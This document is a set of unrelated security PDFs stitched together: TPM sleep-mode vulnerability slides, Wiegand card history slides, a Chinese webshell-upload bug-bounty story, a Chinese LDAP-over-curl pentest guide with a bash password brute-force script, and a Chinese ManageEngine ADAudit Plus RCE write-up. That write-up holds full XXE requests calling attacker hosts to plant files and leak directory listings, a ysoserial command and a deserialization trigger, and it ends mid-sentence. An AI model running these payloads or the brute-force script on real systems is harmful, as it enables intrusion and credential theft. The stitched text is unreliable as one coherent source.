Hook function pointers in the DCE and the DLME Hooked functions DCE and DLME (tboot) Faked State (Normal State) Compromised State Hash values Exploit Scenario of the CVE-2017-16837 (2) BIOS/UEFI tboot GRUB Compromised Kernel User Application TPM Remote Attestation Server Abnormal PCRs Nonce Sig(PCRs, Nonce) AIK Exploit Scenario of the CVE-2017-16837 (3) BIOS/UEFI tboot GRUB User Application TPM Remote Attestation Server Abnormal PCRs Nonce Sig(PCRs, Nonce) AIK Compromised Kernel Replay Good Hashes Reset the TPM with Sleep Normal PCRs ~~ Happiness 0 5 10 - 10 - 5 - 1000 - 100 2017 2018 2019 Time (year) First Encounter Second Encounter CVE-2017- 16837 CVE-2018- 6622 USENIX Security Black Hat Asia Black Hat Asia with Napper Contents - CVE-2018-6622 DRTM measures code while waking up! How about SRTM? Waking Up Process of the SRTM <TCG PC Client Platform Firmware Profile Specification> OS ACPI (BIOS/UEFI) TPM (1) Request to save a state Sleep (S3) (5) Request to restore a state (2) Request to enter sleep (4) Wake up (3) Sleep (6) Resume OS “Grey Area” Vulnerability (1) (CVE-2018-6622) <TCG PC Client Platform Firmware Profile Specification> OS ACPI (BIOS/UEFI) TPM (1) Request to save a state Sleep (S3) (5) Request to restore a state (2) Request to enter sleep (4) Wake up (3) Sleep (6) Resume OS “Grey Area” Vulnerability (2) (CVE-2018-6622) <Trusted Platform Module Library Part1: Architecture Specification> What is the “corrective action”? This means “reset the TPM” TPM 2.0 TPM 1.2 “Grey Area” Vulnerability (2) (CVE-2018-6622) <Trusted Platform Module Library Part1: Architecture Specification> What is the “corrective action”? This means “reset the TPM” TPM 2.0 TPM 1.2 ?? YOU BETRAY ME! I have no idea about “corrective action” I should do nothing! “Grey Area” Vulnerability (2) (CVE-2018-6622) <Trusted Platform Module Library Part1: Architecture Specification> What is the “corrective action”? This means “reset the TPM” TPM 2.0 TPM 1.2 Clear! Exploit Scenario of the CVE-2018-6622 Compromised Software Stack (1) Leave normal hashes in event logs Compromised State BIOS/UEFI Sleep (4) Sleep without saving the TPM state Compromised Software Stack (5) Wake up Faked State (Normal State) (2) Extract and calculate the normal hashes (6) Reset the TPM and replay the normal hashes (3) Store the normal hashes in RAM Hash values ~~ Happiness 0 5 10 - 10 - 5 - 1000 - 100 2017 2018 2019 Time (year) First Encounter Second Encounter CVE-2017- 16837 CVE-2018- 6622 USENIX Security Black Hat Asia Black Hat Asia with Napper Contents – “Napper” You! Again! Manager Second Encounter!!! “Napper”? - Is a tool that can check the ACPI S3 sleep mode vulnerability in the TPM - It is a bootable USB device based-on Ubuntu 18.04 - It has a kernel module and user-level applications - Makes the system take a nap and checks the vulnerability - The kernel module exploits the grey area vulnerability (CVE-2018- 6622) while sleeping by patching kernel code - The user-level applications check the TPM status and show a report “Napper”? - Is a tool that can check the ACPI S3 sleep mode vulnerability in the TPM - It is a bootable USB device based-on Ubuntu 18.04 - It has a kernel module and user-level applications - Makes the system take a nap and checks the vulnerability - The kernel module exploits the grey area vulnerability (CVE-2018- 6622) while sleeping by patching kernel code - The user-level applications check the TPM status and show a report CVE-2017-16837 is a software vulnerability! Upgrade tBoot if the version is lower than v1.9.7 Napper’s Kernel Module (1) - Patches the tpm_pm_suspend() function in TPM driver - The function is invoked by kernel while S3 sleep sequence - The kernel module changes the function to “return 0;” Napper’s Kernel Module (2) Napper’s User-Level Applications - Consist of TPM-related software and launcher software - I added a command-line tool, “tpm2_extendpcrs”, to tpm2_tools - I also made a launcher software for easy-of-use - Load the kernel module and check the TPM vulnerability - The launcher loads napper’s kernel module and takes a nap - It checks if PCRs of the TPM are all ZEROS and extends PCRs - It gathers and reports the TPM and system information with tpm2_getinfo, dmidecode, and journalctl tools Napper Live-CD and USB Bootable Device Ubuntu 18.04 + Kernel 4.18.0-15 TPM-related software + Napper Live-CD.iso User-level Applications + +Pinguybuilder_5.1-7 Napper Live-CD and USB Bootable Device Ubuntu 18.04 Kernel 4.18.0-15 TPM-related software + + Napper Live-CD.iso Pinguybuilder_5.1-7 User-level Applications + Project page: https://github.com/kkamagui/napper-for-tpm Model Status BIOS TPM Vendor Version Release Date Manufacturer Vendor String ASUS Q170M-C Vulnerable American Megatrends Inc. 4001 11/09/2018 Infineon (IFX) SLB9665 Dell Optiplex 7040 Vulnerable Dell 1.11.1 10/10/2018 NTC rls NPCT Dell Optiplex 7050 Vulnerable Dell 1.11.0 11/01/2018 NTC rls NPCT GIGABYTE H170-D3HP Vulnerable American Megatrends Inc. F20g 03/09/2018 Infineon (IFX) SLB9665 GIGABYTE Q170M-MK Vulnerable American Megatrends Inc. F23 04/12/2018 Infineon (IFX) SLB9665 HP Spectre x360 Vulnerable American Megatrends Inc. F.24 01/07/2019 Infineon (IFX) SLB9665 Intel NUC5i5MYHE Vulnerable Intel MYBDWi5v.86A. 0049.2018. 1107.1046 11/07/2018 Infineon (IFX) SLB9665 Lenovo T480 (20L5A00TKR) Safe Lenovo N24ET44W (1.19 ) 11/07/2018 Infineon (IFX) SLB9670 Lenovo T580 Safe Lenovo N27ET20W (1.06 ) 01/22/2018 ST- Microelectronics Microsoft Surface Pro 4 Safe Microsoft Corporation 108.2439.769 12/07/2018 Infineon (IFX) SLB9665 Demo Napper tool Countermeasures – CVE-2018-6622 (The Grey Area Vulnerability) 1) Disable the ACPI S3 sleep feature in BIOS menu - Brutal, but simple and effective 2) Revise TPM 2.0 specification to define “corrective action” in detail and patch BIOS/UEFI firmware - A long time to revise and apply to the TPM or BIOS/UEFI firmware - But, fundamental solution! Check and update your BIOS/UEFI firmware! Countermeasures – CVE-2017-16837 (The Lost Pointer Vulnerability) 1) Apply my patch to tBoot - https://sourceforge.net/p/tboot/code/ci/521c58e51eb5be105a2998 3742850e72c44ed80e/ 2) Update tBoot to the latest version Conclusion - Until now, we have trusted the untrustable hardware and software with reputation! - “Reputation” is not “Trustworthiness” - Trust nothing only with reputation and check everything for yourself - Napper helps you to check the TPM vulnerability - Check your system with Napper or visit the project site for the results - Update your BIOS/UEFI firmware with the latest version - If there is no patched firmware yet, disable the ACPI S3 sleep feature in BIOS menu right now! Betrayal of Reputation: Trusting the Untrustable Hardware and Software with Reputation Twitter: @kkamagui1 Seunghun Han [email protected] Project: https://github.com/kkamagui/napper-for-tpm Reference - Seunghun, H., Wook, S., Jun-Hyeok, P., and HyoungChun K. Finally, I Can Sleep Tonight: Catching Sleep Mode Vulnerabilities of the TPM with the Napper. Black Hat Asia. 2019. - Seunghun, H., Wook, S., Jun-Hyeok, P., and HyoungChun K. A Bad Dream: Subverting Trusted Platform Module While You Are Sleeping. USENIX Security. 2018. - Seunghun, H., Jun-Hyeok, P., Wook, S., Junghwan, K., and HyoungChun K. I Don’t Want to sleep Tonight: Subverting Intel TXT with S3 Sleep. Black Hat Asia. 2018. - Trusted Computing Group. TCG D-RTM Architecture. 2013. - Trusted Computing Group. TCG PC Client Specific Implementation Specification for Conventional BIOS. 2012. - Intel. Intel Trusted Execution Technology (Intel TXT). 2017. - Butterworth, J., Kallenberg, C., Kovah, X., and Herzog, A. Problems with the static root of trust for measurement. Black Hat USA. 2013. - Wojtczuk, R., and Rutkowska, J. Attacking intel trusted execution technology. Black Hat DC. 2009. - Wojtczuk, R., Rutkowska, J., and Tereshkin. A. Another way to circumvent Intel trusted execution technology. Invisible Things Lab. 2009. - Wojtczuk, R., and Rutkowska, J. Attacking Intel TXT via SINIT code execution hijacking. Invisible Things Lab. 2011. - Sharkey, J. Breaking hardware-enforced security with hypervisors. Black Hat USA. 2016.
pdf
0x01 前⾔ 有技术交流或渗透测试培训需求的朋友欢迎联系QQ/VX-547006660 0x02 资产收集到脆弱系统 在某src挖掘过程中,本⼈通过ssl证书对域名资产进⾏了收集,通过计算域名对应ip段的权重 整理出其C段资产,进⾏了批量⽬录扫描 查看⽬录扫描结果后,发现了⼀个有趣的⽂件 http://36...*/upload_image.php 对于这种⻚⾯,毫⽆疑问,要对参数进⾏FUZZ 0x03 FUZZ参数+表单上传 使⽤arjun⼯具对其参数进⾏fuzz,发现了⼀个参数字段为do 随后在burpsuite中对do的参数值进⾏fuzz 成功fuzz出⼀个do的参数值,upload 构造url http://36...*/upload_image.php?do=upload,成功出现上传表单, webshell名skr_anti.php 选择我们的webshell直接上传 上传后fuzz上传路径 赶上双倍活动,8000块钱到⼿ 0x04 总结 我说这个漏洞有⼿就⾏,⼤家应该没意⻅吧 综合来说学习思路点如下: 1.遇到空⽩敏感⻚⾯/api,FUZZ参数和参数值 2.上传没返回路径不要慌,⽤聪明的⼤脑去FUZZ http://36.*.*.*/upload --------> 403 继续fuzz http://36.*.*.*/upload/images --------> 403 构造url http://36.*.*.*/upload/images/skr_anti.php 3.SRC测试的时候不要上传webshell,传phpinfo就⾏,不然会被降赏⾦,我就是吃了哑巴亏。。。第⼀次遇着不 让传webshell的 4.资产收集是红队还有渗透测试的核⼼
pdf
Who invented the first Prox Card? − a: Charles Walton & Thomas Milheiser − b: Gary Carroll − c: Someone else What security company dismissed it as a mere magicians trick? − a: Wells Fargo − b: Securitas − c: ADT What does this have to do with gold fish? − a: The fish were used like canaries in the mines to detect hazardous substances − b: The fish was used in the logo of a security company − c: The fish were in a fish tank with an underwater reader 6-Aug-09 Slide 1 © 2009 Michael L. Davis, All Rights Reserved Presentation Teasers “Wiegand’s Wonderful Wires” DEFCON 17 July 30, 2009 Michael L. Davis I am here as a private citizen and am not representing my employer. All of the material presented herein has appeared in the public domain at one time or another. I will answer historical questions about John Wiegand and the access control industry. I will NOT answer any questions (technical or otherwise) about my employer’s or any other vendor’s products. 6-Aug-09 Slide 3 ©2009 Michael L. Davis, All Rights Reserved Disclaimer Card Technology Timeline Old Prox Patents John Wiegand - Biography Wiegand Applications Wiegand Inventions Wiegand Hacking What’s Next? 6-Aug-09 Slide 4 ©2009 Michael L. Davis, All Rights Reserved Agenda Card Technology Time Line 6-Aug-09 © 2009 Michael L. Davis, All Rights Reserved Slide 5 The “First” RFID Tag Steven Shepard claims that Mario Cardullo was the inventor of the first RFID Tag*. After a spring of 1969 airplane ride in which he was seated next to an IBM engineer, “Cardullo sketched out the idea for the first RFID-like tag with dynamic memory.” Patent issued Jan-23- 1973. 6-Aug-09 © 2009 Michael L. Davis, All Rights Reserved Slide 6 * RFID, Steven Shepard, page 49 6-Aug-09 Slide 7 © 2009 Michael L. Davis, All Rights Reserved Transponder Apparatus & System Priority Date of May-21-1970 Actually, there were several earlier patents for RFID Interrogator/Transponder ID Systems. − US Patent 3,299,424 - Interrogator-Responder System has a priority date of May-05-1965. However, none of these earlier patents utilized digital memory; they were analog in nature. Note that Cardullo’s first prototypes used core memory to store 16 bits of data. 6-Aug-09 Slide 8 © 2009 Michael L. Davis, All Rights Reserved But Earlier RFID Patents Exist 6-Aug-09 Slide 9 © 2009 Michael L. Davis, All Rights Reserved Interrogator-Responder System Priority Date of May-05-1965 Introducing the Musician with Perfect Pitch - John R. Wiegand Although he might very well have been a world famous symphony conductor, history remembers him as the man who invented and perfected the “Wiegand-Effect”. But, until now, nobody realized that he also invented a digital read/write Prox RFID system before anyone else. As Paul Harvey would say, “Now, the rest of the story.” 6-Aug-09 © 2009 Michael L. Davis, All Rights Reserved Slide 10 6-Aug-09 Slide 11 © 2009 Michael L. Davis, All Rights Reserved Interceptor Xmfr Prox Key Priority Date of Dec-17-1965 Uses Described in Patent Background – Sound Familiar? 6-Aug-09 © 2009 Michael L. Davis, All Rights Reserved Slide 12 6-Aug-09 Slide 13 © 2009 Michael L. Davis, All Rights Reserved Interceptor Xmfr Proximity Key Patent Drawings 6-Aug-09 Slide 14 © 2009 Michael L. Davis, All Rights Reserved Interceptor Xmfr Proximity Key Patent Drawings (cont.) 6-Aug-09 Slide 15 © 2009 Michael L. Davis, All Rights Reserved Interceptor Xmfr Proximity Key Patent Drawings (cont.) “Any sufficiently advanced technology is indistinguishable from magic.“ − Arthur C. Clarke, "Profiles of The Future", 1961 Keep this in mind when you see the next slide. 6-Aug-09 Slide 16 © 2009 Michael L. Davis, All Rights Reserved Quote Milton Velinsky, John’s Business partner, told me that he demo’ed John’s Prox invention to ADT and they dismissed it as a magicians trick and doubted its viability. John’s Prox invention was never commercialized yet it was far ahead of its time. − It used the same principle as today’s Prox – near field communications at 4.8 kHz. − Data was stored on the wire sort-of-like bubble memory. − It was passive and drew power from the interrogator. But it could use a battery for longer communications. 6-Aug-09 Slide 17 © 2009 Michael L. Davis, All Rights Reserved ADT Declined JOHN WIEGAND BIOGRAPHY 6-Aug-09 © 2009 Michael L. Davis, All Rights Reserved Slide 18 Who Was John Wiegand? John was neither an engineer nor a physicist but was a musician by training. Born in Germany in 1912, John Wiegand came to the US in the 1930’s and studied piano and choral conducting at the Julliard School of Music in NY. While attending Julliard, he became interested in audio amplifiers and later became an engineering assistant for magnetic amplifiers at the Bell Telephone Laboratory. In 1944, he began working for Sperry Gyroscope Company in Lake Success, N.Y., and later for a Government contractor as a product developer of tape recorders. 6-Aug-09 (c) 2009 Michael L. Davis, All Rights Reserved 19 Who Was John Wiegand? (cont.) In 1965, he started his relentless pursuit of magnetic research that led to the development and patenting of the Wiegand effect. Before he had an oscilloscope to see pulses, it was his perfect pitch that enabled him to listen to the magnetic pulse produced by his wire through a loudspeaker. John always referred to the wires as “she” and said that the wires sung to him. John later met Milton Velinsky and together they formed Wiegand Electronics to develop product applications for the Wiegand Effect. John did the inventing and Milt did the promoting and selling. 6-Aug-09 (c) 2009 Michael L. Davis, All Rights Reserved 20 SOME OF JOHN’S INVENTIONS 6-Aug-09 © 2009 Michael L. Davis, All Rights Reserved Slide 21 PARTIAL LIST OF APPLICATIONS* INDUSTRIAL CONTROLS − Intrinsically safe limit switch − Flowmeter − Position sensor − Rotary pulser − Linear pulser − Reference sensor − Coded process control − Coded conveyor − Rate sensor − Motion sensor − Time delay − Servo controls AUTOMOTIVE − Ignition systems − Anti-skid sensor − Fuel injection controls − Fuel mileage computer − Transmission controls − Speedometer − Tachometer − Turn signals − Level control − Crank position sensor Meters − Intrinsically safe gas meter − Electric meter − Water meter 6-Aug-09 © 2009 Michael L. Davis, All Rights Reserved Slide 22 * From Sensor Engineering “Wiegand Effect Design Guide” PARTIAL LIST OF APPLICATIONS (cont.) CARD AND KEY SYSTEMS − Transaction cards − Credit cards − Gasoline cards − Check verification − Process controls − Security access control − Personal ID cards − Time cards − Mass transit fare cards − Parking lot gate cards − Badge readers − Cable TV ALARM SYSTEMS − Batteryless alarms − Wireless alarms − Wired systems − Explosion proof sensor Switches − Intrinsically safe switch − Contactless switch − Coded push button switch − Keyboards − Discrete keys − Limit switches − Proximity switches 6-Aug-09 © 2009 Michael L. Davis, All Rights Reserved Slide 23 US 4,187,981 - Coded module for use in a magnetic pulse generator & method of mfr. Priority Date of Jan-26-1970 6-Aug-09 © 2009 Michael L. Davis, All Rights Reserved Slide 24 Wiegand Card Reader (Priority date of Jan-26-1970) 6-Aug-09 (c) 2009 Michael L. Davis, All Rights Reserved 25 Wiegand Card Reader (Drawings) 6-Aug-09 (c) 2009 Michael L. Davis, All Rights Reserved 26 Wiegand Card Reader (Working Model) This working unit was actually used by Milt Velinsky on sales calls to the NYC Transit Authority and others. It was a “drop through” reader. Note the trademark on the card of SNMW which stands for Self Nucleating Magnetic Wire. 6-Aug-09 (c) 2009 Michael L. Davis, All Rights Reserved 27 OTHER PATENTS USING THE WIEGAND EFFECT 6-Aug-09 © 2009 Michael L. Davis, All Rights Reserved Slide 28 US 5,908,103 – Wiegand Token 6-Aug-09 © 2009 Michael L. Davis, All Rights Reserved Slide 29 US 5,632,169 - Self Powered Electronic Combination Lock 6-Aug-09 ©2009 Michael L. Davis, All Rights Reserved Slide 30 US 5,640,862 - Electronic combination lock including a sensor which senses position and direction of movement of the combination dial 6-Aug-09 ©2009 Michael L. Davis, All Rights Reserved Slide 31 US 4,242,789 - Method for making an improved magnetic encoding device 6-Aug-09 © 2009 Michael L. Davis, All Rights Reserved Slide 32 US 4,326,124 - Locking apparatus for preventing unauthorized access or actions 6-Aug-09 ©2009 Michael L. Davis, All Rights Reserved Slide 33 US 5,831,532 - Identification tags using amorphous wire [IBM] 6-Aug-09 ©2009 Michael L. Davis, All Rights Reserved Slide 34 US 6,191,687 - Wiegand Effect Energy Generator 6-Aug-09 ©2009 Michael L. Davis, All Rights Reserved Slide 35 US 5,128,840 - Bicycle Luminaire 6-Aug-09 ©2009 Michael L. Davis, All Rights Reserved Slide 36 6-Aug-09 Slide 37 © 2009 Michael L. Davis, All Rights Reserved US 2009/024180 - Stimulation System, in Particular, a Cardiac Pacemaker THE WIEGAND PROTOCOL 6-Aug-09 © 2009 Michael L. Davis, All Rights Reserved Slide 38 6-Aug-09 Slide 39 © 2009 Michael L. Davis, All Rights Reserved Wiegand Wires Moving Past Read Head Generates Pulses = Wiegand Protocol HACKING WIEGAND CARDS & THE WIEGAND PROTOCOL 6-Aug-09 © 2009 Michael L. Davis, All Rights Reserved Slide 40 In 1992, Bill Payne, an employee of Sandia Labs was assigned to break electronic systems for the FBI. He found a way to expose the wires using Magnaview film and a cow magnet and then published this information. Even though he claims that this was not classified, the FBI thought otherwise. He was fired and is still trying to clear his name. 6-Aug-09 Slide 41 © 2009 Michael L. Davis, All Rights Reserved Hacking Wiegand Cards Photo from Black Hat presentation by Schmiedl & Spindel At DEFCON 13, Zamboni described a theoretical attack on a Wiegand output biometric-based system which he called “Wiegand Injection”. At DEFCON 15, Zac Franken demonstrated a Wiegand Protocol replay device called GECKO. 6-Aug-09 Slide 42 © 2009 Michael L. Davis, All Rights Reserved Hacking the Wiegand Protocol Zamboni-AP Photo by Joe Cavaretta.jpg Gecko Photo by Zac Franken WRAP UP 6-Aug-09 © 2009 Michael L. Davis, All Rights Reserved Slide 43 Since 1978, I owe my livelihood to the electronic physical access control industry. In my humble opinion, I truly feel that John’s Wiegand Card Readers was the foundation of this industry as we know it today. Indeed, the Wiegand protocol is still used by the majority of access control readers. I once had the privilege of meeting John in his lab in Valley Stream, NY. 6-Aug-09 Slide 44 © 2009 Michael L. Davis, All Rights Reserved Dedication I will post fascinating material that I find at www.wiegand-effect.com A colleague of mine, Dr. Scott Guthery, planted the seed for me to write a book on the subject. − However, based on the realization of how much research is required, I currently have no timetable for completion as I am still in data gathering mode Perhaps, next year, if DEFCON allows me to speak again, I can share more of John and his wonderful wires as well as demos of his devices and the physics behind his Wiegand Effect Email: 6-Aug-09 Slide 45 © 2009 Michael L. Davis, All Rights Reserved The Future - Stay Tuned
pdf
如何仅使用 curl 利用 LDAP 协议进行 Windows 域的渗透测试 1、简介 Lightweight Directory Access Protocol(LDAP),轻量级目录访问协议,基于 X.500 标准。 那么好,X.500 标准是什么? X.500 基本上是用来查询有关人员的信息(如邮政地址、电话号码、电子邮件地址等) 的一种服务。可以有:所在机构的部门名称以及国家名称。X.500 目录服务是一种用于开发 一个单位(或组织)内部人员电子目录的标准方法,这个目录可以成为全球目录的一部分, 世界上的任何人都可以访问因特网查询到该目录。这个目录有时称全球用户信息数据库目 录,其思路为以用户界面友好的方式通过人名、部门、单位来找人。许多公司和组织都建立 了 X.500 目录。这个目录组织在同一个"根"目录下,具有一个"树"型结构,包括:国家、单 位、部门和个人。两个知名的 X.500 目录,也是最大的 X.500 目录,它们是用于管理域名 注册的 InterNIC 和存储全美国家实验室的 Esnet。——百度百科 既然 LDAP 是基于 X.500 标准的协议,自然就继承了它的一些优点:分散维护、强大搜索 性能。 再来谈一谈什么是 Windows 域。 自从 Windows 操作系统被创造,它就越来越广泛的应用于商业领域,同时也是全球使用最 广泛的操作系统,企业也会首选 Windows 提供给员工进行日常办公。在企业中,每个员工 的职能和权限是不一样的,所以每个员工能访问到的资源与生产资料也是不同的,这就需要 有一种方法可以在办公网络中实现这种权限分配。 上面说到了 X.500 标准,X.500 标准这种目录组织的格式,十分符合企业内部的职能分配, 更贴近现实世界中的人员职能体系,但 X.500 标准也有一些缺点:实施太过于复杂。 具体是什么复杂的问题,是历史的问题,与本文无关,我们只需要知道后来发生的事情: 由于 X.500 的实施太过于复杂而受到批评。为解决这个问题,密歇根州(Michigan)大 学推出了一种较为简单的基于 TCP/IP 的 DAP 新版本,即轻量级目录访问协议 (LDAP: Lightweight Directory Access Protocol),主要用于因特网。 LDAP 与 DAP 具有很多类似的 基本功能,另外它还能用来查询私有目录和开放 X.500 目录 上的数据。在过去的几年里, 大多数主要的电子邮件和目录服务软件供应商都对 LDAP 表现出了极大的兴趣,LDAP 已 迅速发展成为因特网上事实的目录协议标准。——百度百科 于是微软便就采用了更为简单的轻量级目录访问协议(LDAP),基于 LDAP 协议创造了 Windows 的活动目录(Active Directory),用于储存现实世界中计算机用户的职能分布,具 体存储着每个用户的用户名、密码等信息,并将该活动目录数据存储在域控制服务器上(默 认是 Ntds.dit 文件),并将每个办公系统的首选 DNS 服务器配置设置为一个指定的运行着 DNS 服务的系统,该 DNS 会提供一个根域名,与活动目录中的根结点名一致,且该 DNS 服务与活动目录联动,同步存储每个加入活动目录的系统(包括域控制服务器系统),提供 解析服务,通过向该 DNS 服务请求便可以定位加入该活动目录的每台主机的 IP。每个用 户在首次加入了活动目录的操作系统上登陆时,认证请求都会通过 DNS 服务定位到域控制 服务器上的活动目录,使用 LDAP 协议在域控制服务器的 389 端口上进行身份认证,实现 登录。Windows 使用这些流程将各个系统组成一个网络,这样便构成了 Windows 域。然 而还有很多的细节没有提到,介绍的仍不够完全。 2、AD 域的 LDAP 数据属性 我们这里使用 Ldifde 工具导出一台域控制服务器中的 LDAP 数据进行分析。 可以看到 LDAP 数据中有很多对渗透测试有帮助的属性, dn:结点路径 name:结点名 memberOf:说明该结点是哪个结点的成员 lastLogon:上一次登陆时间 关于结点路径,可以将 LDAP 数据比作一棵树,DC 为根结点,OU 为路径,CN 为叶子节 点,且每个结点都可以存储信息。 例如: dn: CN=Administrators,CN=Builtin,DC=test,DC=local dn: CN=WIN-1AA3VOP20U1,OU=Domain Controllers,DC=test,DC=local dn: CN=Domain Admins,CN=Users,DC=test,DC=local 3、curl 请求 LDAP 很多情况下,我们可能在一个条件很苛刻的内网 Linux Shell 上执行命令,例如基于 CVE- 2019-19781 得到的 Citrix Application Delivery Controller(NetScaler ADC)和 Citrix NetScaler Gateway 设备上的 Linux Shell,这意味着你可能只能执行有限的命令,那么 curl 是我们绝对不能忽视的命令。 LDAP 协议语法: <ldapurl> ::= "ldap://" [ <hostport> ] "/" <dn> [ "?" <attributes> [ "?" <scope> "?" <filter> ] ] <hostport> ::= <hostname> [ ":" <portnumber> ] <dn> ::= a string as defined in RFC 1485 <attributes> ::= NULL | <attributelist> <attributelist> ::= <attributetype> | <attributetype> [ "," <attributelist> ] <attributetype> ::= a string as defined in RFC 1777 <scope> ::= "base" | "one" | "sub" <filter> ::= a string as defined in RFC 1558 当然我们只是为了查询某些结点,所以只需要知道如何遍历所有结点信息即可。 ldap://domain.name:389/<dn>?<filter> 查看 curl 的语法文档后找到 LDAP 身份认证参数: -u, --user <user:password> Server user and password 下面给出一些常用的 curl 请求样例: LDAP 基础信息查询(无需身份验证) curl -v "ldap://192.168.254.131:389/" 显示存在的子结点(需要身份验证) curl -v "ldap://192.168.254.131:389/DC=test,DC=local" curl -v -u "[email protected]:Local12345!" "ldap://192.168.254.131:389/CN=Users,DC=test,DC=local?cn?sub?(cn=*)" curl -v -u "[email protected]:Local12345!" "ldap://192.168.254.131:389/DC=test,DC=local?cn?sub?(cn=Users)" curl -v -u "[email protected]:Local12345!" "ldap://192.168.254.131:389/OU=Domain Controllers,DC=test,DC=local?cn?sub?(cn=*)" curl -v -u "[email protected]:Local12345!" "ldap://192.168.254.131:389/CN=Users,DC=test,DC=local?cn?sub?(cn=*)" 重要结点查询 curl -v -u "[email protected]:Local12345!" "ldap://192.168.254.131:389/OU=Domain Controllers,DC=test,DC=local" curl -v -u "[email protected]:Local12345!" "ldap://192.168.254.131:389/CN=Users,CN=Builtin,DC=test,DC=local" curl -v -u "[email protected]:Local12345!" "ldap://192.168.254.131:389/CN=Administrators,CN=Builtin,DC=test,DC=local" curl -v -u "[email protected]:Local12345!" "ldap://192.168.254.131:389/CN=RID Manager$,CN=System,DC=test,DC=local" 4、爆破域用户密码 很简单,首先需要获取一个已经存在的域用户名,然后准备字典列表,使用需要身份验证的 LDAP 结点查询,单个变量进行爆破,返回特殊的属性名则爆破成功。 #!/bin/bash # Ldap_Crack.sh name=$1 filename=$2 for password in awk -F ':' '{print $2}' do curl -v -u "$name:$password" "ldap://192.168.254.131:389/OU=Domain Controllers,DC=test,DC=local">el.txt grep -w "objectGUID" el.txt&& echo $password||echo "..." done
pdf
环境搭建 https://archives2.manageengine.com/active-directory-audit/7055/ManageEngine_ADAudit_Plus_x 64.exe 需要搭建一个域环境,直接把安装adaudit的机器提升为域控就行。 分析 这个洞用了两个点串起来成了一个rce,分别是xxe和一个readObject的点。 Cewolf readObject readObject是steventseeley挖掘的Cewolf反序列化,ADAudit仍然有这个servlet,并且init参数为 FileStorage。 de.laures.cewolf.storage.FileStorage#getChartImage 这个地方存在readObject 详细的不讲了,看steventseeley在 https://srcincite.io/advisories/src-2020-0011/ 中提到的poc就懂 了。 这个利用点需要在目标机器上上传一个序列化的payload,然后通过 ../ 跨目录触发。在下面的xxe中会 串起来利用。 xxe xxe来自比较常规的DocumentBuilderFactory类 在com.adventnet.sym.adsm.auditing.server.category.ProcessTrackingListener#parseTaskContent 中 来自于eventTbl参数的 Task Content 或者 Task New Content 键值会造成xxe。 然后找路由触发点。 先来看web.xml /api/agent 对应 com.adventnet.sym.adsm.auditing.webclient.ember.api.ADAPAgentAPIServlet#processRequ est 跟如 com.adventnet.sym.adsm.auditing.webclient.ember.api.RestAPIHandler#executeAgentRequ est 通过正则匹配拿到对应的handler为 com.adventnet.sym.adsm.auditing.webclient.ember.api.agent.AgentDataHandler#receiveD ata 在receiveData中通过读body取json,body取不到就从header中拿json,然后转成一个json数组 jsonEventArray。接着如果是有效的json 交由 com.adventnet.sym.adsm.auditing.server.EventDataAdapter#notify 消息队列处理。 notify只负责向eventQueue中加事件,真正处理队列消息的地方在其子类 com.adventnet.sym.adsm.auditing.server.EventDataAdapter.EventDispatcher#run 中 在这里需要关注一点,如果原始data中DomainName等于null,那么DomainDnsName也会等于null。 这个地方是个大坑,如果没有给对正确的域环境的域名,那么在下一步就不会触发漏洞,接着看。 通过重组modData,最终交由 com.adventnet.sym.adsm.auditing.server.ProcessMonitor#process 处理。 process函数会获取domainName对应的键值来迭代,最终调用addEventRows,如果你的传参 DomainName为空,那么这个地方进入不了迭代循环,就触发不了漏洞。 跟进addEventRows addEventRows会根据传入的CategoryId参数来获取不同的Listener,然后分发进入getEventRowList函 数。 其中listener有很多,id为11的时候刚好是ProcessTrackingListener 接着走进 com.adventnet.sym.adsm.auditing.server.category.ProcessTrackingListener#getEventRow parseTaskContent到xxe的点 串联 有了xxe之后,需要了解一个jdk的老版本xxe trick。 这是2013年的议题 https://2013.appsecusa.org/2013/wp-content/uploads/2013/12/WhatYouDidntKnowAboutXXEAtta cks.pdf 在这个议题中提到,通过xxe我们可以上传文件和列举目录,jdk8u131之后的修复commit在这里 可以使用这个ftp服务器来使文件驻留到目标服务器中。 https://github.com/pwntester/BlockingServer/blob/master/BlockingServer.java 监听 发请求包 POST /api/agent/tabs/agentData HTTP/1.1 Host: 172.16.16.132:8081 Accept-Encoding: gzip, deflate Accept: */* Connection: keep-alive Content-Length: 316 Content-Type: application/json [   {       "DomainName": "test.local",       "EventCode": 4688,       "EventType": 0,       "TimeGenerated": 0,       "Task Content": "<?xml version=\"1.0\" encoding=\"UTF-8\"?><!DOCTYPE foo [<!ENTITY ssrf SYSTEM \"jar:http://172.16.16.1:2122/upload.jar!/file.txt\"> ]> <foo>&ssrf;</foo>"   } ] 此时文件被驻留在用户的临时目录下,我的用户是administrator,所以在 C:/Users/Administrator/AppData/Local/Temp/ 目录下 接着用这个项目来列目录,监听之后发请求包 POST /api/agent/tabs/agentData HTTP/1.1 Host: 172.16.16.132:8081 Accept-Encoding: gzip, deflate Accept: */* Connection: keep-alive Content-Length: 393 Content-Type: application/json [   {       "DomainName": "test.local",       "EventCode": 4688,       "EventType": 0,       "TimeGenerated": 0,       "Task Content": "<?xml version=\"1.0\" encoding=\"UTF-8\"?><!DOCTYPE data [ <!ENTITY % file SYSTEM \"file:///C:/Users/Administrator/AppData/Local/Temp/\"> <!ENTITY % dtd SYSTEM \"http://192.168.1.207:9090/data.dtd\"> %dtd;]><data>&send; </data>"   } ] 我们的url.txt就被传到了jar_cache9091707163659467742.tmp这个文件。这个时候ftp服务端不要关, 不然文件就被删除了。 接下来就是触发反序列化的 gadget可以用cb192 最后就是国际惯例 http://172.16.16.132:8081/cewolf/a.png? img=/../../../../../../../../../Users/Administrator/AppData/Local/Temp/jar_cache 9091707163659467742.tmp java -jar .\ysoserial-0.0.6-SNAPSHOT-all.jar CommonsBeanutils192NOCC "CLASS:TomcatCmdEcho" 一些问题 1. 如何获取DomainName 2. c:/Users/Administrator/AppData/Local/Temp/jar_cache9091707163659467742.tmp 中 administrator怎么判断? 第一个问题登录的时候可以获取到一部分的域名 /api/agent/configuration/getAgentServerInfo 接口中,如果配置了agent之后会有完整的fqdn 第二个问题可以用笨方法先列举 C:\Users\ 所有用户,然后列举用户的temp目录,有的不是在用户的 temp,而是在c:/windows/temp下,或者直接Responder抓到当前用户名 修复 注释了CewolfServlet 修了xxe 加了guid校验 sudo python3 Responder.py -I ens160 路径发现 尝试用自己改过的tabby来查一下看数据流走向,然后发现数据流在队列的情况中调用边断掉了。 上文中我们讲到 com.adventnet.sym.adsm.auditing.webclient.ember.api.agent.AgentDataHandler#receiveD ata 将接受到的数据放入 